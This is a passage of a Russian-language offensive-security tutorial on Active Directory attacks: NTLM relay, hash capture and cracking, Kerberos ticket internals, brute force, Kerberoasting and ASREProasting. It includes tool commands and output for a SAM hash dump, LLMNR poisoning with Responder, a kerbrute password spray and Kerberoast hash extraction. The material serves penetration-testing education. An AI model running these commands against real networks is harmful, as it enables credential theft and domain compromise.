[*] Authenticating against smb://192.168.100.10 as CONTOSO/ANAKIN SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
srvuser:1005:aad3b435b51404eeaad3b435b51404ee:38db3f2d2842051c8b7c01d56da283dd:::
[*] Done dumping SAM hashes for host: 192.168.100.10
[*] Stopping service RemoteRegistry


Другим протоколом, который может использовать NTLM, является HTTP (https://zer1t0.gitlab.io/posts/attacking_ad/#http) , но по умолчанию подпись не используется. Таким образом, HTTP можно использовать для кросс-протокольной ретрансляционной атаки для LDAP или SMB.

1653925893564.png


Как видите, поскольку клиент не указывает, что подписание включено, подписывание LDAP не требуется. Этот сценарий использовался для эксплуатации уязвимости PrivExchange (https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/). Ретрансляция на LDAP очень полезна, поскольку вы можете использовать ее для изменения списков ACL или объектов базы данных домена (https://zer1t0.gitlab.io/posts/attacking_ad/#database), что позволяет в некоторых случаях повышать привилегии (https://zer1t0.gitlab.io/posts/attacking_ad/#acl-attacks) .

Для выполнения ретрансляционных атак NTLM мы можем использовать сценарии ntlmrelayx.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) или MultiRelay.py (https://github.com/lgandx/Responder/blob/master/tools/MultiRelay.py) в сочетании с Responder.py( https://github.com/lgandx/Responder), который позволяет выполнять атаки типа «человек посередине». В Windows другим вариантом является использование Inveigh (https://github.com/Kevin-Robertson/Inveigh) для выполнения как MiTM, так и ретрансляции. Ограничение этого инструмента заключается в том, что он не позволяет выполнять ретрансляционную атаку NTLM с SMB2 на SMB2 с машины Windows, поскольку порт 445 используется системой.

Помимо SMB и LDAP, существуют другие протоколы, такие как MS-SQL или SMTP, которые поддерживают NTLM и могут использоваться для этой атаки.

Защита релея NTLM

Однако существуют средства защиты для межпротокольной ретрансляции NTLM, привязки канала или EPA (расширенная защита для проверки подлинности). Идея привязки канала состоит в том, чтобы добавить информацию о протоколе приложения в сообщение AUTHENTICATE NTLM, которое защищено MIC. Представлены два типа привязок: привязка службы и привязка TLS.

Привязка службы (https://en.hackndo.com/ntlm-relay/#service-binding) состоит в том, что клиент указывает SPN (https://zer1t0.gitlab.io/posts/attacking_ad/#services) службы в AvPairs (https://docs.microsoft.com/en-us/op.../ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e) сообщения AUTHENTICATE (которые защищены хэшем NTLMv2), поэтому сервер может проверить, предназначался ли запрос NTLM для него. Например, если клиент указывает, что запрос NTLM предназначен для службы LDAP, а сервер, который его получает, обрабатывает SMB (поскольку в середине находится злоумышленник), он отклонит аутентификацию. Кроме того, SPN также указывает адрес сервера, поэтому, если он ретранслируется на другой сервер, аутентификация будет отклонена.

С другой стороны, при привязке TLS (https://en.hackndo.com/ntlm-relay/#tls-binding) клиент вычисляет хэш, известный как CBT (токен привязки канала), с ключом сеанса сертификата сервера, который используется для создания канала TLS. Если злоумышленник выполняет атаку MiTM, то сертификат, предоставленный злоумышленником (ему необходимо создать новый сертификат для расшифровки/шифрования трафика TLS), будет отличаться от сертификата исходного сервера. Таким образом, сервер проверит CBT, сгенерированный клиентом, и, если он не совпадает с хэшем собственного сертификата, отклонит аутентификацию.

Как и в случае с подписью, применение привязки канала зависит от протокола приложения. Обновленные клиенты SMB (https://support.microsoft.com/en-us...ements-extended-protection-for-auth#section-3) и LDAP (https://support.microsoft.com/en-us...-the-ldapenforcechannelbinding-registry-entry) должны использовать привязку канала, однако серверы, похоже, не проверяют это.

Взлом хэшей NTLM

Несмотря на это, даже в случае невозможности выполнения ретрансляционных атак, все же можно получить хэши NTLM (https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html) , выполнив атаку «человек посередине», а затем взломать их. Вы можете использовать такие инструменты, как Responder.py (https://github.com/lgandx/Responder) или Inveigh (https://github.com/Kevin-Robertson/Inveigh), для выполнения атаки PiTM.

# ./Responder.py -I enp7s0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.0.2.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C


[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [OFF]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [OFF]
RDP server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]

[+] Generic Options:
Responder NIC [enp7s0]
Responder IP [192.168.100.137]
Challenge set [random]
Don't Respond To Names ['ISATAP']



[!] Error starting TCP server on port 80, check permissions or other servers running.
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.100.7 for name fake-pc
[*] [LLMNR] Poisoned answer sent to 192.168.100.7 for name fake-pc
[SMB] NTLMv2-SSP Client : 192.168.100.7
[SMB] NTLMv2-SSP Username : CONTOSO\anakin
[SMB] NTLMv2-SSP Hash : anakin::CONTOSO:9ec132434bd81f13:77E13480A5BE1935B832EE3E698C2424:0101000000000000C0653150DE09D2017C322564C9ADBF6D000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000EE905EC8AAB434C41EE46C38DB764C06DF037FE97986A0CE2A7B6D7043FA4C900A001000000000000000000000000000000000000900180063006900660073002F00660061006B0065002D00700063000000000000000000


Другая известная возможность получения хэшей NTLM — это создание вредоносных файлов (https://www.securify.nl/blog/living-off-the-land-stealing-netntlm-hashes), которые устанавливают соединения с вашим сервером, когда они открыты. Вы можете использовать ntlm_theft (https://github.com/Greenwolf/ntlm_theft) для создания файлов для восстановления хэшей NTLM.

Кроме того, вы можете использовать уязвимости в веб-сервисах, таких как XXE или LFI (https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/), для захвата хэшей NTLM путем принудительного подключения к вашей контролируемой машине. Иногда даже возможно получить хэши NTLM через Интернет.

Наконец, вы можете взломать хэши NTLM с помощью hashcat (https://hashcat.net/hashcat/). Хэши NTLM (или хэши Net-NTLM) создаются с использованием хэша NT учетной записи клиента (и общедоступной информации, содержащейся в сообщении AUTHENTICATE). Хеши NTLMv1 взламываются быстрее, чем хэши NTLMv2, поскольку они созданы с использованием более слабых алгоритмов.
 

Kerberos​


Kerberos основы​


Kerberos (https://tools.ietf.org/html/rfc4120) является предпочтительным протоколом аутентификации в сетях Active Directory для учетных записей домена (его нельзя использовать в рабочих группах). Он реализован в Kerberos SSP (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos-ssp). Kerberos описан в RFC 4120 (https://tools.ietf.org/html/rfc4120), а расширения, используемые в Active Directory, задокументированы в документации MS-KILE (https://docs.microsoft.com/en-us/op.../ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9) .

Kerberos фокусируется на использовании токенов, называемых "билетами", которые позволяют пользователю пройти аутентификацию по отношению к принципалу.

Принципалы Kerberos

Наиболее распространенными субъектами Kerberos (https://datatracker.ietf.org/doc/html/rfc4120#section-6.2) являются пользователи и службы (https://zer1t0.gitlab.io/posts/attacking_ad/#services), причем последний тип используется чаще всего.

Чтобы запросить билет для службы, необходимо указать ее имя участника-службы. Например, HTTP/компьютер. Существует несколько основных типов Kerberos, которые можно использовать для запроса службы: NT-SRV-INST, NT-SRV-HST или NT-SRV-XHST.

С другой стороны, можно использовать участников для представления пользователей, и на самом деле они обычно используются для указания имени клиента, запрашивающего билет. Пользователь обычно представляется SamAccountName (например, "foo") с использованием типа NT-PRINCIPAL.

Однако существует также тип NT-ENTERPRISE (https://swarm.ptsecurity.com/kerberoasting-without-spns/), который допускает более явные форматы для идентификации пользователя, например SamAccountName@DomainFQDN (например, "foo@contoso.local"). NT-ENTERPRISE может быть полезен для идентификации пользователей из разных доменов, когда вы делаете междоменный запрос.

Кроме того, вы также можете использовать участника-пользователя в качестве цели для заявки. Этот факт может быть использован злоумышленником для выполнения атаки Kerberoast (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberoast), не зная об услугах пользователей (https://swarm.ptsecurity.com/kerberoasting-without-spns/) .

Билеты

Билеты (https://tools.ietf.org/html/rfc4120#section-5.3) представляют собой частично зашифрованные структуры, которые содержат:

- Целевой субъект (обычно служба), для которого применяется билет. Информация, связанная с клиентом, такая как имя и домен
- Ключ для установления защищенных каналов между клиентом и сервисом

- Timestamps для определения периода, в течение которого билет действителен

1654089629352.png


PAC

Помимо обычных данных билета, реализация Kerberos в Active Directory обычно включает в поле билета данных авторизации важную структуру аутентификации Active Directory: PAC.

PAC (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962) (сертификат атрибута привилегий) содержит информацию о безопасности (https://docs.microsoft.com/en-us/op...s/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73) , связанную с клиентом:

- Домен клиента: включает имя домена и SID (https://zer1t0.gitlab.io/posts/attacking_ad/#sid) (LogonDomainName и LogonDomainId соответственно).

- Пользователь клиента: имя пользователя и RID (https://docs.microsoft.com/en-us/op...d41c8#gt_df3d0b61-56cd-4dac-9402-982f1fedc41c) пользователя (EffectiveName и UserId соответственно).

- Группы клиентов: идентификаторы RID (https://docs.microsoft.com/en-us/op...d41c8#gt_df3d0b61-56cd-4dac-9402-982f1fedc41c) (GroupId) тех групп домена, к которым принадлежит пользователь.

- Другие группы: PAC включает в себя другие SID (https://docs.microsoft.com/en-us/op.../ms-dtyp/78eb9013-1c3a-4970-ad1f-2b1dad588a25) (ExtraSids), которые ссылаются на недоменные группы, которые могут применяться для междоменной аутентификации, а также общеизвестные SID, используемые для указания особых характеристик (https://docs.microsoft.com/en-us/op.../ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab) .

Помимо информации о пользователе, PAC также содержит несколько подписей (https://docs.microsoft.com/en-us/op...s/ms-pac/6e95edd3-af93-41d4-8303-6c7955297315), используемых для проверки целостности PAC и данных билета.

- Подпись сервера ( https://docs.microsoft.com/en-us/op...s/ms-pac/a194aa34-81bd-46a0-a931-2e05b87d1098): подпись содержимого PAC, созданная с помощью того же ключа, который использовался для шифрования билета.

- Подпись KDC (https://docs.microsoft.com/en-us/op...s/ms-pac/3122bf00-ea87-4c3f-92a0-91c0a99f5eec): подпись подписи сервера, созданная с помощью ключа KDC. Это можно использовать для проверки того, что PAC был создан KDC (https://zer1t0.gitlab.io/posts/attacking_ad/#golden-silver-ticket) , и предотвращения атак на билеты.

- Подпись билета( https://docs.microsoft.com/en-us/op...s/ms-pac/76c10ef5-de76-44bf-b208-0d8750fc2edd): подпись содержимого билета, созданная с помощью ключа KDC. Эта сигнатура была недавно введена для предотвращения атаки Bronze bit ( https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/) .

Kerberos actors

Как мы видели, Kerberos использует билеты для аутентификации пользователей в службах. Но как они используются? Чтобы ответить на этот вопрос, прежде чем мы должны знать, кто участвуют в аутентификации Kerberos.

Мы уже знаем первого, клиента. Это пользователь, который получает билеты и использует их для доступа к службам в домене (или лесу).

Затем у нас есть второй пользователь, служба. Ну, обычно Kerberos говорит о AP (сервере приложений), то есть о машине, которая предлагает услугу, к которой пользователь хочет получить доступ. Точкой доступа может быть любой компьютер домена.

И, наконец, нам нужно, чтобы кто-то предоставил пользователю билеты, для этого и предназначен KDC (Центр распределения ключей). Как вы можете догадаться, в Active Directory KDC является контроллером домена, поскольку именно он имеет доступ к базе данных домена (https://zer1t0.gitlab.io/posts/attacking_ad/#database), необходимой для аутентификации пользователей.

В Kerberos TGT предоставляются службой/сервером аутентификации (AS), а ST — службой/сервером выдачи билетов (TGS). Обе службы запрашивают у KDC ключи Kerberos. Однако, поскольку все эти службы обычно работают на одном сервере, для простоты будем называть их просто KDC.

Типы билетов

Итак, теперь, когда у нас есть клиент, AP, KDC и билеты, давайте посмотрим, как работает этот протокол Kerberos. Для этого мы должны иметь в виду, что в протоколе Kerberos есть два типа билетов:

ST

Первый тип — это ST (Сервисные билеты), которые клиент предъявляет AP/службе/принципалу, чтобы получить к ним доступ. KDC выдает ST для клиентов, которые запрашивают их.

Во многих других публикациях ST называются TGS. Однако в rfc4120 (https://datatracker.ietf.org/doc/html/rfc4120/) TGS относится к службе, которая предоставляет билеты службы. Я думаю, что, вероятно, ST называются TGS из-за неправильного толкования термина "Служба выдачи билетов", что можно подумать, что это относится к билетам, которые предоставляют услугу (как я делал в прошлом), но относится к службе, которая предоставляет билеты. В любом случае, если другая публикация или инструмент говорят о TGS, они, вероятно, имеют в виду билеты, которые используются для получения доступа к услуге.

В Active Directory клиент может получить ST для любой службы (https://zer1t0.gitlab.io/posts/attacking_ad/#services), зарегистрированной в базе данных домена, не имеет значения, не имеет ли пользователь доступа к службе (Kerberos не занимается авторизацией) или даже если служба не запущена.

STs предназначены для чтения целевым принципалом/службой и никем другим, поскольку они включают информацию о клиенте, который должен быть аутентифицирован, и ключ сеанса для установления соединения с клиентом. Поэтому STs шифруются с помощью ключа целевого принципала.

В случае Active Directory обычно целевыми субъектами являются службы, принадлежащие учетным записям пользователей (или учетным записям компьютеров, которые также являются пользователями в Active Directory). В этом случае TGT шифруются ключом владельца учетной записи службы.

Из этой информации мы можем сделать несколько выводов:

Во-первых, если мы знаем ключ целевого принципала (который получен из пароля), мы можем подделать билеты для этого принципала. С точки зрения Active Directory, если мы знаем ключ пользователя, мы можем создавать собственные билеты для доступа к любой службе этого пользователя. Эти индивидуальные билеты известны как серебряные билеты (https://zer1t0.gitlab.io/posts/attacking_ad/#golden-silver-ticket).

Например, если вы знаете пароль учетной записи компьютера (хранящийся в секретах LSA машины (https://zer1t0.gitlab.io/posts/attacking_ad/#lsa-secrets) , вы можете создать серебряные билеты для службы SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#smb) машины и получить доступ к машине как администратор.

Однако вы можете заметить, что подпись KDC билета PAC подписана ключом KDC, поэтому мы не можем подделать полный настоящий билет. Это правда, однако подпись KDC не проверяется службами.

Во-вторых, следует отметить, что если несколько сервисов принадлежат одному пользователю, они будут зашифрованы одним и тем же ключом. Вы можете использовать эту информацию вместе с тем, что целевая служба тикета указана в незашифрованной части тикета (поле sname). Следовательно, если вы измените целевую службу билета на другую службу того же пользователя, билет https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/) будет работать для новой целевой службы.

Этот метод может быть полезен в некоторых ситуациях, например, если вы можете получить ST для администратора для базы данных MSSQL на машине A (SPN = MSSQLSvc\machineA), вы можете изменить службу, чтобы она указывала на службу SMB(https://zer1t0.gitlab.io/posts/attacking_ad/#smb) той же самой машины (SPN = CIFS\machineA) и получить доступ к машине A.

TGT

Чтобы получить ST от KDC, пользователь должен предъявить билет другого типа, TGT (билет на получение билетов). TGT — это как ST для KDC (и, по сути, не более того).

На самом деле, следуя принципу, согласно которому доступ к билету должен быть разрешен только целевому принципалу, все TGT шифруются с помощью ключа учетной записи krbtgt домена, известного как ключ KDC. Следовательно, если вы можете получить ключ krbtgt (хранящийся в базе данных домена (https://zer1t0.gitlab.io/posts/attacking_ad/#domain-database-dumping)), вы можете создавать собственные TGT, известные как золотые билеты (https://zer1t0.gitlab.io/posts/attacking_ad/#golden-silver-ticket) .

Поскольку вы можете создать билет для любого клиента, вы можете выдавать себя за любого пользователя в домене, включая администраторов. Золотые билеты можно даже использовать для компрометации (https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/) всего леса путем установки специальных привилегированных SID в PAC, таких как администраторы предприятия (https://zer1t0.gitlab.io/posts/attacking_ad/#administrative-groups) .

Это можно сделать, потому что PAC содержит данные безопасности, относящиеся к пользователю, и не проверяется, верна ли информация (по крайней мере, до тех пор, пока билет не будет 20-минутным (https://passing-the-hash.blogspot.com/2014/09/pac-validation-20-minute-rule-and.html), поэтому вы можете добавить любого пользователя в любую группу внутри билета и даже создавать тикеты для несуществующих пользователей.

Чтобы получить TGT, пользователю обычно необходимо пройти аутентификацию в KDC, используя его учетные данные.

Приобретение билетов

Теперь, когда мы знаем о ST и TGT, давайте более подробно рассмотрим, как работает Kerberos (https://www.tarlogic.com/en/blog/how-kerberos-works/), а значит, как выдаются билеты (https://syfuhs.net/a-bit-about-kerberos):

1654089678339.png

1. Клиент запрашивает TGT в AS (KDC), отправляя сообщение AS-REQ (https://tools.ietf.org/html/rfc4120#section-5.4.1) . В сообщение AS-REQ клиент может включить отметку времени, зашифрованную с помощью своего ключа Kerberos. Это называется предварительной аутентификацией Kerberos (https://docs.microsoft.com/en-us/pr...er/cc961961(v=technet.10)?redirectedfrom=MSDN) и иногда не требуется.( https://en.hackndo.com/kerberos-asrep-roasting/).

2. AS (KDC) проверяет метку времени (или нет) и отвечает сообщением AS-REP (https://tools.ietf.org/html/rfc4120#section-5.4.2), которое содержит две зашифрованные части: TGT, зашифрованный с помощью ключа KDC, и данные клиента, зашифрованные с помощью ключа клиента. Некоторая информация, такая как ключ сеанса, реплицируется в обеих частях, поэтому и пользователь, и KDC могут совместно использовать ее.

3. После этого клиент соединяется со службой в точке доступа и согласовывает протокол аутентификации с SPNEGO. Если выбран Kerberos, клиенту необходимо получить ST для целевой службы.

4. Следовательно, он запрашивает ST у KDC, отправляя TGS-REQ (https://tools.ietf.org/html/rfc4120#section-5.4.1), который включает его TGT и SPN (https://en.hackndo.com/service-principal-name-spn/) целевой службы. Он также отправляет данные, зашифрованные с помощью сеансового ключа, такие как имя пользователя клиента и отметка времени, для проверки соединения.

5. KDC расшифровывает TGT своим ключом, получая таким образом доступ к имени пользователя и сеансовому ключу. KDC использует ключ сеанса для расшифровки имени пользователя, отправленного пользователем, чтобы проверить его правильность. Убедившись, что все правильно, KDC отвечает сообщением TGS-REP (https://tools.ietf.org/html/rfc4120#section-5.4.2 ), которое содержит две зашифрованные части: ST для целевой службы, зашифрованную с помощью ключа пользователя службы, и данные клиента, зашифрованные с помощью ключа сеанса. Некоторая информация, такая как ключ сеанса службы, реплицируется в обеих частях, поэтому и пользователь, и служба могут совместно использовать ее.

6. Клиент отправляет ST службе в сообщении AP-REQ (https://tools.ietf.org/html/rfc4120#section-5.5.1) (внутри прикладного протокола). Служба расшифровывает ST и получает ключ сеанса службы и PAC. Служба будет использовать информацию безопасности PAC о клиенте, чтобы определить, есть ли у пользователя доступ к его ресурсам.

7. (Необязательно) Если служба хочет проверить PAC (https://docs.microsoft.com/en-us/ar...derstanding-microsoft-kerberos-pac-validation), она может использовать протокол Netlogon, чтобы запросить у контроллера домена проверку подписи PAC с помощью KERB_VERIFY_PAC_REQUEST ( https://docs.microsoft.com/en-us/op.../ms-apds/b27be921-39b3-4dff-af4a-b7b74deb33b5) .

8. (Необязательно) Сервер проверит PAC и ответит кодом, указывающим, что PAC правильный.

9. (Необязательно) Наконец, если этого требует клиент, служба должна аутентифицировать себя, отвечая на сообщение AP-REQ сообщением AP-REP (https://tools.ietf.org/html/rfc4120#section-5.5.2) и используя сеансовый ключ в качестве доказательства того, что служба может расшифровать ST и, следовательно, это настоящий сервис, а не подделка.

Из этого процесса мы можем заметить, что Kerberos, в отличие от NTLM, имеет сообщения, которые не включены в другой протокол приложения. Так обстоит дело с AS-REQ и TGS-REQ, которые отправляются непосредственно в DC.

Службы Kerberos

Контроллер домена прослушивает Kerberos на портах 88/TCP и 88/UDP.

1654089709504.png


Помимо KDC, в Kerberos есть еще одна служба, kpasswd (https://tools.ietf.org/html/rfc3244.html), которая позволяет менять пароли пользователей в домене. kpasswd можно найти на портах 464/TCP и 464/UDP контроллеров домена. Его можно использовать с утилитой ksetup (https://docs.microsoft.com/en-gb/wi...ration/windows-commands/ksetup-changepassword), с экрана CTRL+ALT+DEL "Изменить пароль" или с помощью Rubeus changepw (https://github.com/GhostPack/Rubeus#changepw).

1654089722715.png


Ключи Kerberos

Изменяя пароль, пользователь изменяет ключи Kerberos, используемые для шифрования сообщений и билетов Kerberos.

Существует много разных ключей, поскольку каждый из них используется для другого алгоритма шифрования (https://web.mit.edu/kerberos/kfw-4.1/kfw-4.1/kfw-4.1-help/html/encryption_types.htm#supported), используемого Kerberos. Возможные алгоритмы шифрования, используемые Kerberos, следующие:

- RC4-HMAC (https://tools.ietf.org/html/rfc4757): Ключ, используемый для RC4, представляет собой NT-хэш (https://tools.ietf.org/html/rfc4757#section-2) пользователя.

- AES128-CTS-HMAC-SHA1-96 ( https://tools.ietf.org/html/rfc3962) : ключ, используемый для AES128, представляет собой хэш из 16 байтов (https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372) , полученный из пароля пользователя (а также домена и имени пользователя).

-AES256-CTS-HMAC-SHA1-96 (https://tools.ietf.org/html/rfc3962): ключ, используемый для AES256, представляет собой хэш из 32 байтов (https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372) , полученный из пароля пользователя (а также домена и имени пользователя).

-DES-CBC-MD5( https://datatracker.ietf.org/doc/html/rfc3961#section-6.2.1) : этот ключ устарел (https://datatracker.ietf.org/doc/html/rfc6649), но ключ по-прежнему хранится в базе данных домена для пользователей.

В зависимости от выбранного алгоритма Kerberos использует другой ключ. В Active Directory рекомендуется использовать AES256.

Примечание. Когда я использую термин "ключ Kerberos" в этой статье, я имею в виду любой из возможных ключей, согласованных с помощью Kerberos.

Базовые атаки Kerberos

Теперь, когда мы знаем основы Kerberos, давайте объясним некоторые атаки Kerberos (https://www.tarlogic.com/en/blog/how-to-attack-kerberos/).

Если вы ищете команды атак Kerberos, вы можете проверить шпаргалку Kerberos (https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a) .

Брутфорс Kerberos

Поскольку Kerberos — это протокол аутентификации, его можно использовать для проверки учетных данных пользователей в сети.

Кроме того, ошибки Kerberos очень многословны и позволяют выделить множество ситуаций при атаке методом полного перебора:

-KDC_ERR_PREAUTH_FAILED: неверный пароль

-KDC_ERR_C_PRINCIPAL_UNKNOWN: Недопустимое имя пользователя

-KDC_ERR_WRONG_REALM: неверный домен

-KDC_ERR_CLIENT_REVOKED: отключенный/заблокированный пользователь

Проверяя сообщения об ошибках, вы можете не только проверять действительные учетные данные, но также получать перечень учетных записи пользователей и знать, не заблокировала ли ваша атака какую-либо учетную запись. Будьте осторожны, запуская такие атаки!

Еще одна вещь, которую следует иметь в виду, это то, что ошибки аутентификации регистрируются не с обычным событием ошибки входа в систему (https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625)(код: 4625), а с ошибкой предварительной аутентификации Kerberos (https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771)(код: 4771), которая не регистрируется по умолчанию.

Вы можете использовать Rubeus brute (https://github.com/GhostPack/Rubeus#brute), kerbrute (Go) (https://github.com/ropnop/kerbrute), kerbrute (Python) (https://github.com/TarlogicSecurity/kerbrute)или cerbero (https://github.com/Zer1t0/cerbero#brute) , чтобы запустить атаку методом перебора Kerberos.

$ python kerbrute.py -domain contoso.local -users users.txt -passwords passwords.txt -dc-ip 192.168.100.2
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Valid user => Anakin
[*] Blocked/Disabled user => Leia
[*] Valid user => Han [NOT PREAUTH]
[*] Valid user => Administrator
[*] Stupendous => Anakin:Vader1234!
[*] Saved TGT in Anakin.ccache

Kerberoast


В Active Directory любой пользователь может запросить ST для любой службы, которая зарегистрирована в базе данных домена через SPN (https://zer1t0.gitlab.io/posts/attacking_ad/#services), независимо от того, запущена служба или нет.

Более того, ST будет частично зашифрован ключом Kerberos (полученным из пароля) пользователя сервиса. Поэтому, если вы получили ST, вы можете попытаться взломать пароль пользователя службы, попытавшись расшифровать ST.

Большинство сервисов регистрируются в учетных записях компьютеров, которые имеют автоматически генерируемые пароли из 120 символов (https://adsecurity.org/?p=280), которые меняются каждый месяц, поэтому взломать их STs невозможно.

Однако иногда службы назначаются обычным учетным записям пользователей, которыми управляют люди, у которых могут быть слабые пароли. STs этих сервисов позволили бы взломать их, чтобы получить пароли пользователей.

Атака Kerberoast (https://en.hackndo.com/kerberoasting/) состоит в том, чтобы запрашивать ST для этих служб обычных учетных записей пользователей и пытаться взломать их, чтобы получить пароли пользователей. Обычно пользователи, у которых есть службы, также имеют привилегии, так что это сочные учетные записи.

Вы можете проверить учетные записи пользователей с именами участников-служб с помощью любого клиента LDAP, используя следующий фильтр:

(&(samAccountType=805306368)(servicePrincipalName=*))

В частности, чтобы получить ST для взлома, вы можете использовать сценарий impacket GetUserSPNs.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py), команду Rubeus kerberoast (https://github.com/GhostPack/Rubeus#kerberoast) или сценарий Invoke-Kerberoast.ps1 (https://github.com/EmpireProject/Em...dule_source/credentials/Invoke-Kerberoast.ps1) .

root@debian10:~# GetUserSPNs.py 'contoso.local/Anakin:Vader1234!' -dc-ip 192.168.100.2 -outputfile kerberoast-hashes.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ---- --------------------------------------------- -------------------------- -------------------------- ----------
HTTP/ws01-10 leia CN=Domain Admins,CN=Users,DC=contoso,DC=local 2021-01-01 16:38:02.183703 2021-01-15 11:46:13.998905


root@debian10:~# cat kerberoast-hashes.txt
$krb5tgs$23$*leia$CONTOSO.LOCAL$HTTP/ws01-10*$65ca3e856acd6d9438c05cb6c283dcb5$ab86cafcf1dee23d2466973679fc315e9fef3fa2ddcae82d844b31e1651ed983

Когда у вас есть ST, вы можете попытаться взломать их с помощью hashcat (https://hashcat.net/hashcat/). Чтобы легко их взломать, ST следует запрашивать в зашифрованном виде с помощью RC4, однако это может быть обнаружено как обычный трафик (такими решениями, как Microsoft ATA (https://docs.microsoft.com/en-gb/advanced-threat-analytics/what-is-ata)), поскольку для большинства запросов требуется шифрование AES256.

Также возможно выполнить Kerberoasting (https://swarm.ptsecurity.com/kerberoasting-without-spns/), не зная SPN служб. Помните, что вы можете запросить билет Kerberos для разных субъектов в домене, включая как службы, так и пользователей.

Таким образом, вы можете запросить билет для данного пользователя, который будет зашифрован с помощью ключа пользователя. Однако необходимо, чтобы у целевого пользователя была зарегистрирована какая-либо служба, чтобы получить для нее билет.

ST, полученный для пользователя в качестве целевого основного имени, также шифруется с помощью ключа пользователя, поэтому его можно использовать в Kerberoasting. Это также может быть полезно для перебора пользователей, поддерживающих kerberoaste, в случае, если вы не можете перечислить их через LDAP, поскольку основное имя пользователя без SPN не может быть разрешено.

На самом деле этот метод используется сценарием impacket GetUserSPNs.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py). Его также можно использовать с командой Rubeus kerberoast (https://github.com/GhostPack/Rubeus#kerberoast) с флагом /enterprise и командой cerbero kerberoast (https://gitlab.com/Zer1t0/cerbero/#kerberoast) .

Кроме того, если у вас есть разрешение Validated-SPN (https://docs.microsoft.com/en-gb/windows/win32/adschema/r-validated-spn ) для учетной записи пользователя, вы можете добавить имена участников-служб к этой учетной записи, сделав ее поддерживающей Kerberoasteable. Таким образом, вы можете запросить ST для этой службы учетной записи и попытаться взломать ее. По умолчанию учетные записи не имеют разрешений Validated-SPN на самих себя.

ASREProast

Большинству пользователей необходимо выполнить предварительную аутентификацию Kerberos, то есть отправить отметку времени, зашифрованную с помощью ключа Kerberos, в KDC в сообщении AS-REQ (для запроса TGT).

Однако в редких случаях предварительная аутентификация Kerberos отключается для учетной записи путем установки флага DONT_REQUIRE_PREAUTH (https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties). Таким образом, любой может выдать себя за эти учетные записи, отправив сообщение AS-REQ, и ответ AS-REP (https://tools.ietf.org/html/rfc4120#section-5.4.2) будет возвращен из KDC, что данные зашифрованы с помощью пользовательского ключа Kerberos.

AS-REP ::= [APPLICATION 11] KDC-REP

KDC-REP ::= SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (11 -- AS --),
padata [2] SEQUENCE OF PA-DATA OPTIONAL
crealm [3] Realm,
cname [4] PrincipalName,
ticket [5] Ticket, -- Encrypted with krbtgt key
enc-part [6] EncryptedData -- Encrypted with user key

}


Вы не можете получить доступ к данным AS-REP напрямую, поскольку они зашифрованы с помощью ключа пользователя (который получен из пароля пользователя), но вы можете попытаться взломать офлайн-атаку, чтобы узнать пароль пользователя.

